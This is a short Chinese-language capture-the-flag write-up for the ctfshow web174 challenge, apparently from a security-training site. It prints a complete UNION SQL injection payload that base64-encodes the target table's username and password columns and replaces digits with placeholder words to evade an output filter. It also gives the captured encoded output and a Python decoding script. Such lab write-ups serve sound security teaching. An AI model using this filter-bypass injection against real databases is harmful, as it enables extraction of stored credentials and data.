SQL注入:flag不能出现且flag中的数字也不能出现在查询结果当中

ctfshow-web174:

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
}

// /flag|[0-9]/i:不允许字符串中出现数字0-9 需要使用替换的方式:

 

 

Payload如下:

99' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag'  %23

 

 

(为了写出来真的是眼睛都快看瞎了,写的时候百般出错…)

ZmxhZnumCthZTljOTcnumJZSnumAjYnumBNiLTQzMTAtODEnumDMCnumAiNThmNjAyNzNhYWRnumI

用Python脚本解码一下:

import base64
flagstr= 'ZmxhZnumCthZTljOTcnumJZSnumAjYnumBNiLTQzMTAtODEnumDMCnumAiNThmNjAyNzNhYWRnumI'
flag=''
flag=flagstr.replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9').replace('numJ','0')
print(base64.b64decode(flag))

(先替换再解码)

 

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » SQL注入:flag不能出现且flag中的数字也不能出现在查询结果当中

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情